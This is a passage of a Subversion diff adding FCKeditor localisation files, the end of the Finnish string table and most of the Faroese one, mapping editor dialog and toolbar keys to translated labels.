+DlgFlashTitle		: "Flash ominaisuudet",
+DlgFlashChkPlay		: "Automaattinen käynnistys",
+DlgFlashChkLoop		: "Toisto",
+DlgFlashChkMenu		: "Näytä Flash-valikko",
+DlgFlashScale		: "Levitä",
+DlgFlashScaleAll	: "Näytä kaikki",
+DlgFlashScaleNoBorder	: "Ei rajaa",
+DlgFlashScaleFit	: "Tarkka koko",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Linkki",
+DlgLnkInfoTab		: "Linkin tiedot",
+DlgLnkTargetTab		: "Kohde",
+
+DlgLnkType			: "Linkkityyppi",
+DlgLnkTypeURL		: "Osoite",
+DlgLnkTypeAnchor	: "Ankkuri tässä sivussa",
+DlgLnkTypeEMail		: "Sähköposti",
+DlgLnkProto			: "Protokolla",
+DlgLnkProtoOther	: "<muu>",
+DlgLnkURL			: "Osoite",
+DlgLnkAnchorSel		: "Valitse ankkuri",
+DlgLnkAnchorByName	: "Ankkurin nimen mukaan",
+DlgLnkAnchorById	: "Ankkurin ID:n mukaan",
+DlgLnkNoAnchors		: "<Ei ankkureita tässä dokumentissa>",
+DlgLnkEMail			: "Sähköpostiosoite",
+DlgLnkEMailSubject	: "Aihe",
+DlgLnkEMailBody		: "Viesti",
+DlgLnkUpload		: "Lisää tiedosto",
+DlgLnkBtnUpload		: "Lähetä palvelimelle",
+
+DlgLnkTarget		: "Kohde",
+DlgLnkTargetFrame	: "<kehys>",
+DlgLnkTargetPopup	: "<popup ikkuna>",
+DlgLnkTargetBlank	: "Uusi ikkuna (_blank)",
+DlgLnkTargetParent	: "Emoikkuna (_parent)",
+DlgLnkTargetSelf	: "Sama ikkuna (_self)",
+DlgLnkTargetTop		: "Päällimmäisin ikkuna (_top)",
+DlgLnkTargetFrameName	: "Kohdekehyksen nimi",
+DlgLnkPopWinName	: "Popup ikkunan nimi",
+DlgLnkPopWinFeat	: "Popup ikkunan ominaisuudet",
+DlgLnkPopResize		: "Venytettävä",
+DlgLnkPopLocation	: "Osoiterivi",
+DlgLnkPopMenu		: "Valikkorivi",
+DlgLnkPopScroll		: "Vierityspalkit",
+DlgLnkPopStatus		: "Tilarivi",
+DlgLnkPopToolbar	: "Vakiopainikkeet",
+DlgLnkPopFullScrn	: "Täysi ikkuna (IE)",
+DlgLnkPopDependent	: "Riippuva (Netscape)",
+DlgLnkPopWidth		: "Leveys",
+DlgLnkPopHeight		: "Korkeus",
+DlgLnkPopLeft		: "Vasemmalta (px)",
+DlgLnkPopTop		: "Ylhäältä (px)",
+
+DlnLnkMsgNoUrl		: "Linkille on kirjoitettava URL",
+DlnLnkMsgNoEMail	: "Kirjoita sähköpostiosoite",
+DlnLnkMsgNoAnchor	: "Valitse ankkuri",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Valitse väri",
+DlgColorBtnClear	: "Tyhjennä",
+DlgColorHighlight	: "Kohdalla",
+DlgColorSelected	: "Valittu",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Lisää hymiö",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Valitse erikoismerkki",
+
+// Table Dialog
+DlgTableTitle		: "Taulun ominaisuudet",
+DlgTableRows		: "Rivit",
+DlgTableColumns		: "Sarakkeet",
+DlgTableBorder		: "Rajan paksuus",
+DlgTableAlign		: "Kohdistus",
+DlgTableAlignNotSet	: "<ei asetettu>",
+DlgTableAlignLeft	: "Vasemmalle",
+DlgTableAlignCenter	: "Keskelle",
+DlgTableAlignRight	: "Oikealle",
+DlgTableWidth		: "Leveys",
+DlgTableWidthPx		: "pikseliä",
+DlgTableWidthPc		: "prosenttia",
+DlgTableHeight		: "Korkeus",
+DlgTableCellSpace	: "Solujen väli",
+DlgTableCellPad		: "Solujen sisennys",
+DlgTableCaption		: "Otsikko",
+DlgTableSummary		: "Yhteenveto",
+
+// Table Cell Dialog
+DlgCellTitle		: "Solun ominaisuudet",
+DlgCellWidth		: "Leveys",
+DlgCellWidthPx		: "pikseliä",
+DlgCellWidthPc		: "prosenttia",
+DlgCellHeight		: "Korkeus",
+DlgCellWordWrap		: "Tekstikierrätys",
+DlgCellWordWrapNotSet	: "<Ei asetettu>",
+DlgCellWordWrapYes	: "Kyllä",
+DlgCellWordWrapNo	: "Ei",
+DlgCellHorAlign		: "Vaakakohdistus",
+DlgCellHorAlignNotSet	: "<Ei asetettu>",
+DlgCellHorAlignLeft	: "Vasemmalle",
+DlgCellHorAlignCenter	: "Keskelle",
+DlgCellHorAlignRight: "Oikealle",
+DlgCellVerAlign		: "Pystykohdistus",
+DlgCellVerAlignNotSet	: "<Ei asetettu>",
+DlgCellVerAlignTop	: "Ylös",
+DlgCellVerAlignMiddle	: "Keskelle",
+DlgCellVerAlignBottom	: "Alas",
+DlgCellVerAlignBaseline	: "Tekstin alas",
+DlgCellRowSpan		: "Rivin jatkuvuus",
+DlgCellCollSpan		: "Sarakkeen jatkuvuus",
+DlgCellBackColor	: "Taustaväri",
+DlgCellBorderColor	: "Rajan väri",
+DlgCellBtnSelect	: "Valitse...",
+
+// Find Dialog
+DlgFindTitle		: "Etsi",
+DlgFindFindBtn		: "Etsi",
+DlgFindNotFoundMsg	: "Etsittyä tekstiä ei löytynyt.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Korvaa",
+DlgReplaceFindLbl		: "Etsi mitä:",
+DlgReplaceReplaceLbl	: "Korvaa tällä:",
+DlgReplaceCaseChk		: "Sama kirjainkoko",
+DlgReplaceReplaceBtn	: "Korvaa",
+DlgReplaceReplAllBtn	: "Korvaa kaikki",
+DlgReplaceWordChk		: "Koko sana",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Selaimesi turva-asetukset eivät salli editorin toteuttaa liittämistä. Käytä näppäimistöä liittämiseen (Ctrl+V).",
+PasteErrorCut	: "Selaimesi turva-asetukset eivät salli editorin toteuttaa leikkaamista. Käytä näppäimistöä leikkaamiseen (Ctrl+X).",
+PasteErrorCopy	: "Selaimesi turva-asetukset eivät salli editorin toteuttaa kopioimista. Käytä näppäimistöä kopioimiseen (Ctrl+C).",
+
+PasteAsText		: "Liitä tekstinä",
+PasteFromWord	: "Liitä Wordista",
+
+DlgPasteMsg2	: "Liitä painamalla (<STRONG>Ctrl+V</STRONG>) ja painamalla <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Jätä huomioimatta fonttimääritykset",
+DlgPasteRemoveStyles	: "Poista tyylimääritykset",
+DlgPasteCleanBox		: "Tyhjennä",
+
+// Color Picker
+ColorAutomatic	: "Automaattinen",
+ColorMoreColors	: "Lisää värejä...",
+
+// Document Properties
+DocProps		: "Dokumentin ominaisuudet",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ankkurin ominaisuudet",
+DlgAnchorName		: "Nimi",
+DlgAnchorErrorName	: "Ankkurille on kirjoitettava nimi",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ei sanakirjassa",
+DlgSpellChangeTo		: "Vaihda",
+DlgSpellBtnIgnore		: "Jätä huomioimatta",
+DlgSpellBtnIgnoreAll	: "Jätä kaikki huomioimatta",
+DlgSpellBtnReplace		: "Korvaa",
+DlgSpellBtnReplaceAll	: "Korvaa kaikki",
+DlgSpellBtnUndo			: "Kumoa",
+DlgSpellNoSuggestions	: "Ei ehdotuksia",
+DlgSpellProgress		: "Tarkistus käynnissä...",
+DlgSpellNoMispell		: "Tarkistus valmis: Ei virheitä",
+DlgSpellNoChanges		: "Tarkistus valmis: Yhtään sanaa ei muutettu",
+DlgSpellOneChange		: "Tarkistus valmis: Yksi sana muutettiin",
+DlgSpellManyChanges		: "Tarkistus valmis: %1 sanaa muutettiin",
+
+IeSpellDownload			: "Oikeinkirjoituksen tarkistusta ei ole asennettu. Haluatko ladata sen nyt?",
+
+// Button Dialog
+DlgButtonText		: "Teksti (arvo)",
+DlgButtonType		: "Tyyppi",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nimi",
+DlgCheckboxValue	: "Arvo",
+DlgCheckboxSelected	: "Valittu",
+
+// Form Dialog
+DlgFormName		: "Nimi",
+DlgFormAction	: "Toiminto",
+DlgFormMethod	: "Tapa",
+
+// Select Field Dialog
+DlgSelectName		: "Nimi",
+DlgSelectValue		: "Arvo",
+DlgSelectSize		: "Koko",
+DlgSelectLines		: "Rivit",
+DlgSelectChkMulti	: "Salli usea valinta",
+DlgSelectOpAvail	: "Ominaisuudet",
+DlgSelectOpText		: "Teksti",
+DlgSelectOpValue	: "Arvo",
+DlgSelectBtnAdd		: "Lisää",
+DlgSelectBtnModify	: "Muuta",
+DlgSelectBtnUp		: "Ylös",
+DlgSelectBtnDown	: "Alas",
+DlgSelectBtnSetValue : "Aseta valituksi",
+DlgSelectBtnDelete	: "Poista",
+
+// Textarea Dialog
+DlgTextareaName	: "Nimi",
+DlgTextareaCols	: "Sarakkeita",
+DlgTextareaRows	: "Rivejä",
+
+// Text Field Dialog
+DlgTextName			: "Nimi",
+DlgTextValue		: "Arvo",
+DlgTextCharWidth	: "Leveys",
+DlgTextMaxChars		: "Maksimi merkkimäärä",
+DlgTextType			: "Tyyppi",
+DlgTextTypeText		: "Teksti",
+DlgTextTypePass		: "Salasana",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nimi",
+DlgHiddenValue	: "Arvo",
+
+// Bulleted List Dialog
+BulletedListProp	: "Luettelon ominaisuudet",
+NumberedListProp	: "Numeroinnin ominaisuudet",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tyyppi",
+DlgLstTypeCircle	: "Kehä",
+DlgLstTypeDisc		: "Ympyrä",
+DlgLstTypeSquare	: "Neliö",
+DlgLstTypeNumbers	: "Numerot (1, 2, 3)",
+DlgLstTypeLCase		: "Pienet kirjaimet (a, b, c)",
+DlgLstTypeUCase		: "Isot kirjaimet (A, B, C)",
+DlgLstTypeSRoman	: "Pienet roomalaiset numerot (i, ii, iii)",
+DlgLstTypeLRoman	: "Isot roomalaiset numerot (Ii, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Yleiset",
+DlgDocBackTab		: "Tausta",
+DlgDocColorsTab		: "Värit ja marginaalit",
+DlgDocMetaTab		: "Meta-tieto",
+
+DlgDocPageTitle		: "Sivun nimi",
+DlgDocLangDir		: "Kielen suunta",
+DlgDocLangDirLTR	: "Vasemmalta oikealle (LTR)",
+DlgDocLangDirRTL	: "Oikealta vasemmalle (RTL)",
+DlgDocLangCode		: "Kielikoodi",
+DlgDocCharSet		: "Merkistäkoodaus",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Muu merkistäkoodaus",
+
+DlgDocDocType		: "Dokumentin tyyppi",
+DlgDocDocTypeOther	: "Muu dokumentin tyyppi",
+DlgDocIncXHTML		: "Lisää XHTML julistukset",
+DlgDocBgColor		: "Taustaväri",
+DlgDocBgImage		: "Taustakuva",
+DlgDocBgNoScroll	: "Paikallaanpysyvä tausta",
+DlgDocCText			: "Teksti",
+DlgDocCLink			: "Linkki",
+DlgDocCVisited		: "Vierailtu linkki",
+DlgDocCActive		: "Aktiivinen linkki",
+DlgDocMargins		: "Sivun marginaalit",
+DlgDocMaTop			: "Ylä",
+DlgDocMaLeft		: "Vasen",
+DlgDocMaRight		: "Oikea",
+DlgDocMaBottom		: "Ala",
+DlgDocMeIndex		: "Hakusanat (pilkulla erotettuna)",
+DlgDocMeDescr		: "Kuvaus",
+DlgDocMeAuthor		: "Tekijä",
+DlgDocMeCopy		: "Tekijänoikeudet",
+DlgDocPreview		: "Esikatselu",
+
+// Templates Dialog
+Templates			: "Pohjat",
+DlgTemplatesTitle	: "Sisältöpohjat",
+DlgTemplatesSelMsg	: "Valitse pohja editoriin<br>(aiempi sisältö menetetään):",
+DlgTemplatesLoading	: "Ladataan listaa pohjista. Hetkinen...",
+DlgTemplatesNoTpl	: "(Ei määriteltyjä pohjia)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Editorista",
+DlgAboutBrowserInfoTab	: "Selaimen tiedot",
+DlgAboutLicenseTab	: "Lisenssi",
+DlgAboutVersion		: "versio",
+DlgAboutLicense		: "Lisenssi: GNU Lesser General Public License",
+DlgAboutInfo		: "Lisää tietoa osoitteesta"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fo.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fo.js
+ * 	Faroese language file.
+ * 
+ * File Authors:
+ * 		Símin Lassaberg
+ * 		Helgi Arnthorsson
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Goym amboðalistan",
+ToolbarExpand		: "Vís amboðalistan",
+
+// Toolbar Items and Context Menu
+Save				: "Geim",
+NewPage				: "Nýggj síða",
+Preview				: "Vís dømi",
+Cut					: "Klipp",
+Copy				: "Avrita",
+Paste				: "Set inn",
+PasteText			: "Set inn sum reinan tekst",
+PasteWord			: "Set inn frá Word",
+Print				: "Prenta",
+SelectAll			: "Markera alt",
+RemoveFormat		: "Sletta sniðgeving",
+InsertLinkLbl		: "Leinkja",
+InsertLink			: "Seta inn/Broyta Leinkju",
+RemoveLink			: "Sletta Leinkju",
+Anchor				: "Seta inn/Broyta staðsetingarmerki",
+InsertImageLbl		: "Seta inn mynd",
+InsertImage			: "Seta inn/Broyta mynd",
+InsertFlashLbl		: "Flash",	//MISSING
+InsertFlash			: "Insert/Edit Flash",	//MISSING
+InsertTableLbl		: "Talva",
+InsertTable			: "Seta inn/Broyta talvu",
+InsertLineLbl		: "Linja",
+InsertLine			: "Seta inn vatnrætta linju",
+InsertSpecialCharLbl: "Serlig tekn",
+InsertSpecialChar	: "Seta inn serligt tekn",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Seta inn Smiley",
+About				: "Um FCKeditor",
+Bold				: "Feit",
+Italic				: "Skástillað",
+Underline			: "Undirstrikað",
+StrikeThrough		: "Strikað yvir",
+Subscript			: "Lækkað skrift",
+Superscript			: "Hækkað skrift",
+LeftJustify			: "Vinstristillað",
+CenterJustify		: "Miðstillað",
+RightJustify		: "Hægristillað",
+BlockJustify		: "Beinir tekstkantar",
+DecreaseIndent		: "Økja innrykk",
+IncreaseIndent		: "Minka innrykk",
+Undo				: "Angra",
+Redo				: "Broyt aftur í upprunamynd",
+NumberedListLbl		: "Talsettur listi",
+NumberedList		: "Seta inn/Sletta talsettan lista",
+BulletedListLbl		: "Punktsettur listi",
+BulletedList		: "Seta inn/Sletta punktsettan lista",
+ShowTableBorders	: "Vísa talvukantar ",
+ShowDetails			: "Vísa detaljur",
+Style				: "Tekstsnið",
+FontFormat			: "Sniðgeving",
+Font				: "Skrift",
+FontSize			: "Skriftstødd",
+TextColor			: "Tekstlitur",
+BGColor				: "Litur aftanfyri",
+Source				: "Kelda",
+Find				: "Leita",
+Replace				: "Set í staðin",
+SpellCheck			: "Stavseting",
+UniversalKeyboard	: "Universalt Tastatur",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Seta inn Form",
+Checkbox		: "Seta inn Avmerkingarboks",
+RadioButton		: "Seta inn Radioknap",
+TextField		: "Seta inn Tekstteig",
+Textarea		: "Seta inn Tekstøki",
+HiddenField		: "Seta inn GoymdanTeig",
+Button			: "Seta inn knapp",
+SelectionField	: "Seta inn Valteig",
+ImageButton		: "Seta inn Myndaknapp",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Broyt leinkju",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Seta inn rekkju",
+DeleteRows			: "Sletta rekkjur",
+InsertColumn		: "Seta inn søjlur",
+DeleteColumns		: "Sletta søjlur",
+InsertCell			: "Seta inn sellu",
+DeleteCells			: "Sletta sellu",
+MergeCells			: "Flætta sellur",
+SplitCell			: "Deila sellur",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Eginleikar fyri sellu",
+TableProperties		: "Eginleikar fyri talvu",
+ImageProperties		: "Eginleikar fyri mynd",
+FlashProperties		: "Flash Properties",	//MISSING
+
+AnchorProp			: "Eginleikar fyri staðsetingarpunkt",
+ButtonProp			: "Eginleikar fyri knapp",
+CheckboxProp		: "Eginleikar fyri avmerkingarboks",
+HiddenFieldProp		: "Eginleikar fyri goymdan teig",
+RadioButtonProp		: "Eginleikar fyri radioknapp",
+ImageButtonProp		: "Eginleikar fyri myndaknapp",
+TextFieldProp		: "Eginleikar fyri Tekstateig",
+SelectionFieldProp	: "Eginleikar fyri Valteig",
+TextareaProp		: "Eginleikar fyri Tekstaøki",
+FormProp			: "Eginleikar fyri form",
+
+FontFormats			: "Normalt;Sniðgevið;Adressa;Yvirskrift 1;Yvirskrift 2;Yvirskrift 3;Yvirskrift 4;Yvirskrift 5;Yvirskrift 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Viðgerir XHTML. Bíða...",
+Done				: "Liðugt",
+PasteWordConfirm	: "Teksturin, tú roynir at seta inn, sýnist at vera frá Word. Vilt tú reinsa tekstin, áðrenn hann verður settur inn?",
+NotCompatiblePaste	: "Hesin ordri er tøkur í Internet Explorer 5.5 og nýggjari. Vilt tú seta tekstin inn, uttan at reinsa hann?",
+UnknownToolbarItem	: "Ókendur lutur í amboðalinju \"%1\"",
+UnknownCommand		: "Kenni ikki ordra \"%1\"",
+NotImplemented		: "Ordrin er ikki gjørdur virkin",
+UnknownToolbarSet	: "Amboðalinjan \"%1\" finst ikki",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Angra",
+DlgBtnClose			: "Lukka",
+DlgBtnBrowseServer	: "Hyggja á servara",
+DlgAdvancedTag		: "Útvíðka",
+DlgOpOther			: "<Annað>",
+DlgInfoTab			: "Info",	//MISSING
+DlgAlertUrl			: "Please insert the URL",	//MISSING
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ikki sett>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Tekstakós",
+DlgGenLangDirLtr	: "Vinstri móti høgri (LTR)",
+DlgGenLangDirRtl	: "Høgri móti vinstri (RTL)",
+DlgGenLangCode		: "Málkoda",
+DlgGenAccessKey		: "Atgongdslykil",
+DlgGenName			: "Navn",
+DlgGenTabIndex		: "Tabulator Indeks",
+DlgGenLongDescr		: "víðka frágreiðing",
+DlgGenClass			: "Typografiark",
+DlgGenTitle			: "Heiti",
+DlgGenContType		: "Innihaldsslag",
+DlgGenLinkCharset	: "Teknset",
+DlgGenStyle			: "Prentlist",
+
+// Image Dialog
+DlgImgTitle			: "Mynd eginleikar",
+DlgImgInfoTab		: "Mynd info",
+DlgImgBtnUpload		: "Send til serveren",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Annar tekstur",
+DlgImgWidth			: "Breidd",
+DlgImgHeight		: "Hædd",
+DlgImgLockRatio		: "Læs støddarlutfall",
+DlgBtnResetSize		: "Nulstilla stødd",
+DlgImgBorder		: "Ramma",
+DlgImgHSpace		: "HMargin",
+DlgImgVSpace		: "VMargin",
+DlgImgAlign			: "Justering",
+DlgImgAlignLeft		: "Vinstra",
+DlgImgAlignAbsBottom: "Abs botnur",
+DlgImgAlignAbsMiddle: "Abs Miðja",
+DlgImgAlignBaseline	: "Botnlinja",
+DlgImgAlignBottom	: "Botnur",
+DlgImgAlignMiddle	: "Miðja",
+DlgImgAlignRight	: "Høgra",
+DlgImgAlignTextTop	: "Tekstur ovast",
+DlgImgAlignTop		: "Ovast",
+DlgImgPreview		: "Vís dømi",
+DlgImgAlertUrl		: "Slá inn slóðina til myndina",
+DlgImgLinkTab		: "Leinkja",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",	//MISSING
+DlgFlashChkPlay		: "Auto Play",	//MISSING
+DlgFlashChkLoop		: "Loop",	//MISSING
+DlgFlashChkMenu		: "Enable Flash Menu",	//MISSING
+DlgFlashScale		: "Scale",	//MISSING
+DlgFlashScaleAll	: "Show all",	//MISSING
+DlgFlashScaleNoBorder	: "No Border",	//MISSING
+DlgFlashScaleFit	: "Exact Fit",	//MISSING
+
+// Link Dialog
+DlgLnkWindowTitle	: "Leinkja",
+DlgLnkInfoTab		: "Leinkju info",
+DlgLnkTargetTab		: "Mál",
+
+DlgLnkType			: "Leinkju slag",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Akker á hesari síðuni",
+DlgLnkTypeEMail		: "Teldupostur",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<onnur>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "VEl eitt akker",
+DlgLnkAnchorByName	: "Eftir akker navni",
+DlgLnkAnchorById	: "Eftir element Id",
+DlgLnkNoAnchors		: "<Tað eru ongi akker tøk í hesum dokumentinum;",
+DlgLnkEMail			: "Teldupost Adresse",
+DlgLnkEMailSubject	: "Evni",
+DlgLnkEMailBody		: "Boð",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Send til servaran",
+
+DlgLnkTarget		: "Mál",
+DlgLnkTargetFrame	: "<ramma>",
+DlgLnkTargetPopup	: "<popup vindeyga>",
+DlgLnkTargetBlank	: "Nytt vindeyga (_blank)",
+DlgLnkTargetParent	: "Omaná liggjandi vindeyga (_parent)",
+DlgLnkTargetSelf	: "Sama vindeyga (_self)",
+DlgLnkTargetTop		: "ovasta vindeyga (_top)",
+DlgLnkTargetFrameName	: "vísa vindeygas navn",
+DlgLnkPopWinName	: "Popup vindeygas navn",
+DlgLnkPopWinFeat	: "Popup vindeygas eginleikar",
+DlgLnkPopResize		: "Skalering",
+DlgLnkPopLocation	: "Lokationslinja",
+DlgLnkPopMenu		: "Menulinja",
+DlgLnkPopScroll		: "Scrollbars",
+DlgLnkPopStatus		: "Statuslinja",
+DlgLnkPopToolbar	: "Værktøjslinja",
+DlgLnkPopFullScrn	: "Fullur skermur (IE)",
+DlgLnkPopDependent	: "Bundin (Netscape)",
+DlgLnkPopWidth		: "Breidd",
+DlgLnkPopHeight		: "Hædd",
+DlgLnkPopLeft		: "Positión frá vinstru",
+DlgLnkPopTop		: "Positión frá toppinum",
+
+DlnLnkMsgNoUrl		: "Inntasta leinkju URL",
+DlnLnkMsgNoEMail	: "Inntasta teldupost addressuna",
+DlnLnkMsgNoAnchor	: "Vel akker",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "vel farvu",
+DlgColorBtnClear	: "sletta alt",
+DlgColorHighlight	: "Markera",
+DlgColorSelected	: "valt",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Innset ein smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "vel specialkarakter",
+
+// Table Dialog
+DlgTableTitle		: "Tabel eginleikar",
+DlgTableRows		: "Rekkjur",
+DlgTableColumns		: "Kolonnur",
+DlgTableBorder		: "Rammu stødd",
+DlgTableAlign		: "Justering",
+DlgTableAlignNotSet	: "<Ikki sett>",
+DlgTableAlignLeft	: "Vinstrastilla",
+DlgTableAlignCenter	: "Miðseta",
+DlgTableAlignRight	: "Høgrastilla",
+DlgTableWidth		: "Breidd",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "prosent",
+DlgTableHeight		: "Hædd",
+DlgTableCellSpace	: "Fjarstøða millum sellur",
+DlgTableCellPad		: "Sellu breddi",
+DlgTableCaption		: "Heiti",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Sellu eginleikar",
+DlgCellWidth		: "Breidd",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "prosent",
+DlgCellHeight		: "Hædd",
+DlgCellWordWrap		: "Orðbýti",
+DlgCellWordWrapNotSet	: "<Ikki sett>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nej",
+DlgCellHorAlign		: "Horisontal justering",
+DlgCellHorAlignNotSet	: "<Ikke sat>",
+DlgCellHorAlignLeft	: "Vinstrastilla",
+DlgCellHorAlignCenter	: "Miðsett",
+DlgCellHorAlignRight: "Høgrastilla",
+DlgCellVerAlign		: "Lodrøtt Justering",
+DlgCellVerAlignNotSet	: "<Ikki sett>",
+DlgCellVerAlignTop	: "Ovast",
+DlgCellVerAlignMiddle	: "Miðja",
+DlgCellVerAlignBottom	: "Niðast",
+DlgCellVerAlignBaseline	: "Botnlinja",
+DlgCellRowSpan		: "Tal av rekkjum sellan spennur yvir",
+DlgCellCollSpan		: "Tal av talrøðum sellan spennur yvir",
+DlgCellBackColor	: "Bakgrundsfarva",
+DlgCellBorderColor	: "rammufarva",
+DlgCellBtnSelect	: "Vel...",
+
+// Find Dialog
+DlgFindTitle		: "Finn",
+DlgFindFindBtn		: "Finn",
+DlgFindNotFoundMsg	: "Teksturin bleiv ikki funnin",
+
+// Replace Dialog
+DlgReplaceTitle			: "Set í staðin",
+DlgReplaceFindLbl		: "Finn:",
+DlgReplaceReplaceLbl	: "Set í staðin við:",
+DlgReplaceCaseChk		: "Munur á stórum og smáðum stavum",
+DlgReplaceReplaceBtn	: "Set í staðin",
+DlgReplaceReplAllBtn	: "Skift alt út",
+DlgReplaceWordChk		: "Bert heil orð",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Leitarans trygdarinstillingar loyva ikki editorinum at innseta tekstin automatiskt. Brúka knappaborðið til at innseta tekstin (Ctrl+V).",
+PasteErrorCut	: "Leitarans trygdarinstillingar loyva ikki editorinum at klippa tekstin automatiskt. Brúka í staðin knappaborðið til at klippa tekstin (Ctrl+X).",
+PasteErrorCopy	: "Leitarans trygdarinstillingar loyva ikki editorinum at avrita tekstin automatiskt. Brúka í staðin knappaborðið til at avrita tekstin (Ctrl+V).",
+
+PasteAsText		: "Seta inn som reinur tekstur",
+PasteFromWord	: "Seta inn fra Word",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",	//MISSING
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",	//MISSING
+DlgPasteRemoveStyles	: "Remove Styles definitions",	//MISSING
+DlgPasteCleanBox		: "Clean Up Box",	//MISSING
+
+// Color Picker
+ColorAutomatic	: "Automatisk",
+ColorMoreColors	: "Fleiri farvur...",
+
+// Document Properties
+DocProps		: "Dokument eginleikar",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Akker eginleikar",
+DlgAnchorName		: "Akker navn",
+DlgAnchorErrorName	: "Slá innn akker navn",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Finnst ikki í orðabókini",
+DlgSpellChangeTo		: "broyta til",
+DlgSpellBtnIgnore		: "Ignorera",
+DlgSpellBtnIgnoreAll	: "Ignorera alt",
+DlgSpellBtnReplace		: "Skift út",
+DlgSpellBtnReplaceAll	: "Skift út alt",
+DlgSpellBtnUndo			: "Aftur",
+DlgSpellNoSuggestions	: "- Einki uppskot -",
+DlgSpellProgress		: "Stavarin arbeiðir...",
+DlgSpellNoMispell		: "Stavarain liðugur: Eingin feilur funnin",
+DlgSpellNoChanges		: "Stavarain liðugur: Einki orð broytt",
+DlgSpellOneChange		: "Stavarain liðugur: Eitt orð broytt",
+DlgSpellManyChanges		: "Stavarain liðugur: %1 orð broytt",
+
+IeSpellDownload			: "Stavarin ikki lagdur inn. vilt tú heinta hann nú?",
+
+// Button Dialog
+DlgButtonText		: "Tekstur (Virði)",
+DlgButtonType		: "Slag",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Navn",
+DlgCheckboxValue	: "Virði",
+DlgCheckboxSelected	: "Valgt",
+
+// Form Dialog
+DlgFormName		: "Navn",
+DlgFormAction	: "Gerð",
+DlgFormMethod	: "Háttur",
+
+// Select Field Dialog
+DlgSelectName		: "Navn",
